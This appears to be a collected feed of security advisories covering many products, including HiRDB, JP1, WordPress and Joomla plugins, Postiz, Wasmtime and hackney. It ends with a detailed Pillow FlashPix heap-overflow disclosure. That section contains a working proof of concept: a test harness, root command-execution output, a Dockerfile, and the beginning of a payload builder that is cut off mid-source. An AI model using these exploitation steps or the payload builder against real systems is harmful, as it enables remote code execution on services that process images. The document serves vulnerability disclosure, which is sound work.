This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
Stack-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server V
🏢Hitachi· HiRDB Server Version 10🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Stack-based Buffer Overflow Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
Authentication Bypass by Spoofing Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Ser
🏢Hitachi· HiRDB Server Version 10🛡️CWE-290📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication Bypass by Spoofing Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
Missing Authentication for Critical Function Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-0
🏢Hitachi· HiRDB Server Version 10🛡️CWE-306📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Missing Authentication for Critical Function Vulnerability in HiRDB.
This issue affects HiRDB Server Version 10: from 10-00 before 10-12-01; HiRDB Server Version 9: from 09-00 through 09-66-22; HiRDB Server with Additional Function Version 9: from 09-00 through 09-66/V; HiRDB Server Version 9(32): from 09-02 through 09-66-22; HiRDB Server with Additional Function Version 9(32): from 09-00 through 09-66-/V.
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-122📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 11-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 11-00 before 13-50-31.
Authentication Bypass Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - M
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-290📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Authentication Bypass Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 10-00 before 13-50-31.
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-122📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 10-00 before 13-50-31.
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 10-00 before 13-50-31.
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 10-00 before 13-50-31.
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 11-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 11-00 before 13-50-31.
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-122📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Heap-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 11-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 11-00 before 13-50-31.
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System
🏢Hitachi· JP1/Automatic Job Management System 3 - Manager🛡️CWE-121📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Stack-based Buffer Overflow Vulnerability in JP1/Automatic Job Management System 3.
This issue affects JP1/Automatic Job Management System 3 - Manager: from 11-00 before 13-50-31; JP1/Automatic Job Management System 3 - Agent: from 11-00 before 13-50-31.
Joomla Extension - balbooa.com - Missing Authorization Check on Editor Controller Task in Gridbox < 2.20.4.2 - EditorController::getBlogPost
🏢balbooa.com· Gridbox extension for Joomla🛡️CWE-284📐CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Joomla Extension - balbooa.com - Missing Authorization Check on Editor Controller Task in Gridbox < 2.20.4.2 - EditorController::getBlogPosts() reads the order parameter and invokes getBlogPosts() . Unlike other tasks in this controller, it omits the GridboxHelper::checkUserEditLevel() check.
Joomla Extension - balbooa.com - Unauthenticated SQL injection in Gridbox < 2.20.4.2 - On store product list pages, the value of the sort-by
🏢balbooa.com· Gridbox extension for Joomla🛡️CWE-89📐CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Joomla Extension - balbooa.com - Unauthenticated SQL injection in Gridbox < 2.20.4.2 - On store product list pages, the value of the sort-by URL parameter is retrieved using a string filter and passed directly to GridboxHelper::getBlogPosts(). When the parameter does not match known sorting keys, it is prefixed with a table alias and inserted into the ORDER BY clause without checking against an allowlist
The Qode Membership plugin for WordPress is vulnerable to Authentication Bypass leading to Account Takeover in all versions up to, and including, 2.0.6.2 via the qode_membership_check_facebook_user AJAX action. This is due to a typographic error in the Facebook OAuth token verification guard within the qode_membership_login_user_from_social_network function — the guard condition tests an undefined variable ($check_social_useqoder instead of $check_social_user), causing empty() to always return true and rendering the Graph API token verification branch dead code, leaving wp_set_auth_cookie() reachable with no credential or token validation whatsoever. This makes it possible for unauthenticated attackers to log in as any existing WordPress account — including Administrator-level accounts — by supplying a known or enumerated administrator login name (rather than an email address) in the response[email] parameter, which the fallback path in get_user_by('login', $email) resolves to the matching account. Exploitation does require harvesting a valid qode_validate_facebook_login nonce, but this nonce is rendered on any public front-end page containing the [qode_user_login] or [qode_user_register] shortcode and is therefore obtainable without any prior authentication.
The BMC does not correctly enforce integrity and encryption requirements for IPMI commands. An attacker may be able to craft packets that execute arbitrary commands on an active session.
A security flaw has been discovered in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function sub_402340 of the file infostat.cgi of the component Device-Information CGI. Performing a manipulation of the argument CONTENT_LENGTH results in stack-based buffer overflow. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks.
Consul-k8s versions 0.42.0 and later are vulnerable to a cross-namespace authorization bypass in component ACL binding rules that may allow an attacker to obtain elevated Consul privileges. This vulnerability (CVE-2026-110720) is fixed in consul-k8s 2.1.0 and 1.8.18.
There is a SQL injection vulnerability in Esri ArcGIS Server versions 12.1 and earlier on Windows and Linux that may allow a remote attacker with privileges to access the service (which could, depending on the service being configured in a non-default access configuration “public”, include an anonymous attacker) to issue database specific functions that should not be allowed. A patch is provided for ArcGIS Server software in General Availability and Extended support status, which includes versions 12.1, 12.0, 11.5, 11.3, and 11.1. Other versions are in mature or retired status, which are not patch eligible. Users working with unlisted versions are advised to upgrade and apply the patch.
Burrito is a Terraform Automation Collaboration Software (TACoS) Kubernetes operator. Prior to 0.13.0, `POST /api/webhook` accepts unsigned GitHub and GitLab events when a `TerraformRepository`'s credentials omit `webhookSecret` or set it to an empty value, including credentials configured for git authentication and polling. `Credential.WebhookSecret` is optional, and `go-playground/webhooks` skips signature or token verification when the secret is empty. Anyone who can reach `burrito-server`'s endpoint and knows a tracked repository's URL can forge events to create or delete `TerraformPullRequest` custom resources with attacker-chosen `Branch`, `Base`, and `ID` fields. For GitHub `pull_request` events, the controller fetches changed files using the real pull request number but does not cross-check the payload's branch against that pull request. Pairing a real, existing pull request number with an unrelated existing branch in the same repository can therefore cause an unauthorized `terraform plan` for affected layers using the operator's stored git and cloud credentials. Code analysis also indicates that the resulting plan can be posted to the real pull request's comment thread, exposing and misattributing another branch's infrastructure changes. Auto-apply is disabled for these temporary layers, so this vulnerability alone cannot force a `terraform apply`; plan-time provider and data-source code execution depends on the selected branch's contents. This issue is fixed in version 0.13.0.
zip is a zip library for Rust that supports reading and writing simple ZIP files. Through 9.0.4, ZipArchive treats Central Directory File Header filenames as authoritative while ZipStreamReader extracts using Local File Header filenames without reconciling the duplicate metadata in src/read/stream.rs. A crafted archive can therefore appear benign to a component that inspects the central directory but cause a streaming extractor to write a different attacker-selected path and content, potentially overwriting files used by a downstream service. This issue is fixed in version 9.0.5.
OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces (0.0.0.0) with an empty session_api_keys list, disabling authentication by default. Attackers who can reach the published container port can send unauthenticated HTTP and WebSocket requests to execute arbitrary shell commands as root in the sandbox, access the mounted workspace, and read plaintext secrets from the secrets store.
Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions
🏢Google Cloud· MCP Toolbox for Databases (googleapis/mcp-toolbox)🛡️CWE-22, CWE-862📐CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber
Path Traversal and Missing Authorization in cloud-storage source in Google Cloud MCP Toolbox for Databases (googleapis/mcp-toolbox) versions 1.2.0 through 1.4.0 allows an unauthenticated remote attacker to exfiltrate host files to external Google Cloud Storage buckets and overwrite arbitrary local files via crafted tool invocation parameters.
boneIO black_debian_images gives the boneio service account excessive privileges, including full passwordless sudo access and membership in the docker group. A local attacker who compromises the boneio user can use these privileges to escalate to root.
This issue was fixed in version 1.6.0: the image removes the sudoers rule and the docker group membership when it is sealed, and devices already in the field have both removed by migrations shipped with boneio 1.6.0 and applied on first start after the upgrade. Privileged operations now go through helpers that accept only a fixed set of commands, with migrations verified against Ed25519 signatures.
The root-privileged `wsserver` terminal-bridge daemon builds a shell command from client-supplied WebSocket fields and passes it to `system()` and `popen()` without quoting, escaping, or character-set validation. The daemon's public-key session path performs no appliance-session check.
MacCMS v10 before 2026.1000.4054 contains an authentication bypass vulnerability that allows unauthenticated attackers to reset any member's password because check_msg() never compares msg_to. Attackers can request a recovery code to their own mailbox via user/findpass_msg, then submit it to user/findpass_reset with the victim's email or phone to take over the account.
Improper Certificate Validation vulnerability in hackney_ssl in benoitc hackney allows an on-path attacker to impersonate a server pinned to a private certificate authority via a certificate chain that ends in a publicly trusted root. hackney adds {partial_chain, fun hackney_ssl:partial_chain/1} to every verify_peer configuration. The callback returns any certificate in the peer chain whose public key matches a root in the bundled certifi store as the trust anchor, and OTP honours that callback over the configured cacerts. hackney_ssl:merge_ssl_opts/3 kept the callback when the caller replaced the trust store with cacerts or cacertfile in ssl_options, so a connection pinned to a private CA still accepted any chain that carried a publicly trusted root.
The hostname check still applies, so the attacker needs a publicly trusted certificate for the pinned hostname.
This issue affects hackney: from 1.24.0 before 4.9.0.
An unrestricted file upload vulnerability exists in the campaign import feature of Mautic 7. When processing an uploaded campaign archive, the application copies the bundled asset files into a publicly accessible media directory without restricting their file names or types. An authenticated user with permission to create campaign imports can exploit this through the user interface or the API (/api/campaigns/import) to place arbitrary files, including server-side scripts, in the web root. Administrator privileges are not required. On web servers that honor per-directory configuration, such as the default Apache setup of the official Mautic Docker image, this leads to remote code execution with the privileges of the web server user, including access to the Mautic configuration, application secrets, and contact data.
This vulnerability exists in the CreditNirvana Collections Platform due to improper authentication and authorization controls at the platform login service. An unauthenticated remote attacker could exploit this vulnerability by manipulating authentication requests and accessing APIs without a valid authenticated session on the targeted system.
Successful exploitation of this vulnerability could allow the attacker to enumerate platform users, establish sessions as arbitrary users including administrative users, access and modify sensitive information with the privileges of the impersonated user.
An authentication bypass using an alternate path or channel vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.6, FortiSandbox 4.4.0 through 4.4.9, FortiSandbox 4.2 all versions, FortiSandbox PaaS 5.0.0 through 5.0.6, FortiSandbox PaaS 4.4 all versions, FortiSandbox PaaS 4.2 all versions may allow attacker to execute unauthorized code or commands via crafted HTTP requests
A flaw has been found in Oray Pugongying X5 Pro 7.6.1. Affected by this vulnerability is an unknown functionality of the component L2TP Authentication. This manipulation of the argument Username causes crlf injection. The attack may be initiated remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability was detected in Oray Pugongying X5 Pro 7.6.1. Affected is an unknown function of the file /etc/ipsec.conf of the component IPsec Policy Handler. The manipulation of the argument secproto results in crlf injection. The attack can be launched remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A security vulnerability has been detected in Oray Pugongying X5 Pro 7.6.1. This impacts an unknown function of the component Dnsmasq. The manipulation of the argument rent_time leads to crlf injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
A weakness has been identified in Oray Pugongying X5 Pro 7.6.1. This affects the function snmp_set of the component SNMP Handler. Executing a manipulation of the argument info.community can lead to crlf injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
A security flaw has been discovered in Oray Pugongying X5 Pro 7.6.1. The impacted element is an unknown function of the component Ser2net. Performing a manipulation of the argument regmsg results in crlf injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
A security vulnerability has been detected in Unitree Robotics Unitree Go2 up to 1.1.11.4. The impacted element is the function set_volume of the file gpt_thread.py of the component chat_go. Such manipulation of the argument Value leads to os command injection. The attack can be launched remotely. Upgrading to version 1.1.11.5 is sufficient to resolve this issue. You should upgrade the affected component. The vendor confirmed early: "Submission 990502 corresponds to our internal ticket #474 (Go2 chat_go set_volume OS command injection, CWE-78)."
Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). Supported versions that are affected are Oracle Java SE: 8u511-b32, 8u511-perf-b32, 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2, 25.0.5.0.2, 27.0.1.0.2; Oracle GraalVM for JDK: 17.0.21.0.2 and 21.0.13.0.2; Oracle GraalVM Enterprise Edition: 21.3.20.0.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
Postiz signs its session, invitation and password reset tokens with one shared secret and without any marker of what a token is for. A route that refreshes the credentials of a browser-extension channel signed data taken from the request itself and stored the result where the requesting user can read it back. A user could therefore obtain a validly signed token containing any claims they choose, which the application accepts as a session, as an organization invitation with a chosen role, as a password reset or as an enterprise provisioning token.
A second, narrower route that creates team invitations signs extra fields from the request body in the same way.
Python has added a denylist for known compromised certificates to the "ssl" module to ensure user safety even without certificate revocation configured. Known compromised certificates will automatically be rejected regardless of the SSLContext policy configuration.
When a post is published, Postiz treats a media path that is not a web address as a file on the server's disk, but it does not check that the file lies inside the upload directory. A registered user can store a crafted media path with a post, get it past the checks that normally restrict it, and have the publishing worker read an arbitrary file and send it as an attachment to a Discord server the user controls.
The same unconfined reads can be reached through two further routes. One tells the caller whether a file exists and can exhaust the backend's memory, the other delivers the file the same way as the main route. Self-registration is open by default, so the attacker needs no existing account.
Deserialization of Untrusted Data vulnerability in Tribulant Software Newsletters newsletters-lite allows Object Injection.This issue affects Newsletters: from n/a through 4.18.1.
Deserialization of Untrusted Data vulnerability in paytiumsupport Paytium paytium allows Object Injection.This issue affects Paytium: from n/a through 5.0.5.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-pr
🏢WPFactory· Product Filter by WBW🛡️CWE-89📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WPFactory Product Filter by WBW woo-product-filter allows Blind SQL Injection.This issue affects Product Filter by WBW: from n/a through 3.4.6.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tribulant Software Newsletters newsletters-lite allows SQL Injection.This issue affects Newsletters: from n/a through 4.18.1.
The asVereinbase WordPress plugin before 1.1.8 does not require a valid password or a genuine second factor before authenticating a user, treating an empty stored value as a match, so an unauthenticated attacker can log in as any user, including an administrator.
The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.
🏢codexonics· Prime Mover – Backup and Migration🛡️CWE-502📐CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
The Prime Mover – Backup and Migration plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.1 via deserialization of untrusted input in the migration search-and-replace routine (recursiveUnserializeReplace()). An unauthenticated attacker can store a crafted, base64-encoded serialized object in wp_comments.comment_content through the standard comment-submission endpoint (wp-comments-post.php). When an administrator subsequently performs a routine Prime Mover export or restore, the plugin base64-decodes that stored value and passes it to unserialize() with no allowed_classes restriction. A Property-Oriented Programming (POP) chain is present in the plugin's own bundled Freemius library (FS_Clone_Manager::__set → FS_Option_Manager::set_option → store() → update_option()), so no additional plugin or theme is required — the plugin ships the gadget itself.
Postiz lets a signed-in user ask the backend to run a function on one of their connected channels. The backend did not restrict which functions can be requested, so a user could call internal helper functions that were never meant to be reachable from the web interface.
One of those helpers reads a file from the server's disk. A user who connects a channel whose stored token is a file path can have the backend return the contents of any file it can read, including its environment, which holds the secret used to sign login sessions, the database address and the credentials of connected services. Another helper makes the backend process exit with a single request. Self-registration is open by default, so no existing account and no action by another user is needed.
Wasmtime is a runtime for WebAssembly. Prior to 36.0.19, 48.0.7, and 49.0.4, the Cranelift compiler backend on aarch64 can compile a Wasm br_table instruction with more than approximately 256,000 targets so that it has an incorrect conditional branch target. The branch can then jump to arbitrary other code at a user-controlled offset, allowing a user-controlled Wasm module to escape the sandbox on aarch64 engines using the default Cranelift backend. This issue is fixed in versions 36.0.19, 48.0.7, and 49.0.4.
## Summary
In Wasmtime prior to v43, the Cranelift compiler backend bit-packs its SSA value indices in a way that can result in silent overflow in release builds, and result in incorrect value references in the IR resulting in arbitrary miscompilation. A very large Wasm function body, or one that is specially crafted to use many SSA values, can use this to force type-confusion or other arbitrary side-effects and escape the sandbox.
Cranelift was changed in Wasmtime v43 to use a full `u32` index, with checks if that limit is exceeded, and so is no longer susceptible to this bug.
## Impact
A Wasmtime engine with default settings (using the Cranelift backend) on any architecture/platform could experience a sandbox escape from a specially-crafted Wasm module.
## Patches
Wasmtime v36.0.19 has been released which fixes this issue.
Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
🏢pip· pillow
### Credits
**Researcher**: Alex Bouffard ([email protected])
### Summary
A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).
### Details
`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.
`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.
For a JPEG-compressed subimage (`compression == 2`), the plugin builds a `"jpeg"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):
```python
MODES = {
...
(0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel)
...
(0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P"
}
```
The Imaging output buffer for the tile is sized for the rawmode (here `"LA"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):
```c
state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);
```
In `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `"LA"` and `"YCC;P"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):
```c
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space = JCS_UNKNOWN;
```
Under `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):
```c
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer
```
This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.
### PoC
To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).
The source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).
`vulnerable.py` is the program under test, a one-liner that opens the file it is given:
```python
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image
Image.open(sys.argv[1]).load()
```
The payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:
```console
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'
```
Then open it with `vulnerable.py`:
```console
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size
```
`Image.open()` of the crafted file runs the baked command via `system("id")`: command execution as the user running the image processing (root in the container).
The trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has
already run.
The builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.
### Impact
This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.
### Annex A: Docker setup
The PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.
**1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py`
([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`:
```dockerfile
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates \
python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
&& rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
&& /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
```
```console
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest
```
**2. Start the (ASLR-disabled) container shell** with the scripts mounted:
```sh
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc
```
### Annex B: payload builder source
`make_payload.py`:
```python
#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
--crash flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
(default) CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image
W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
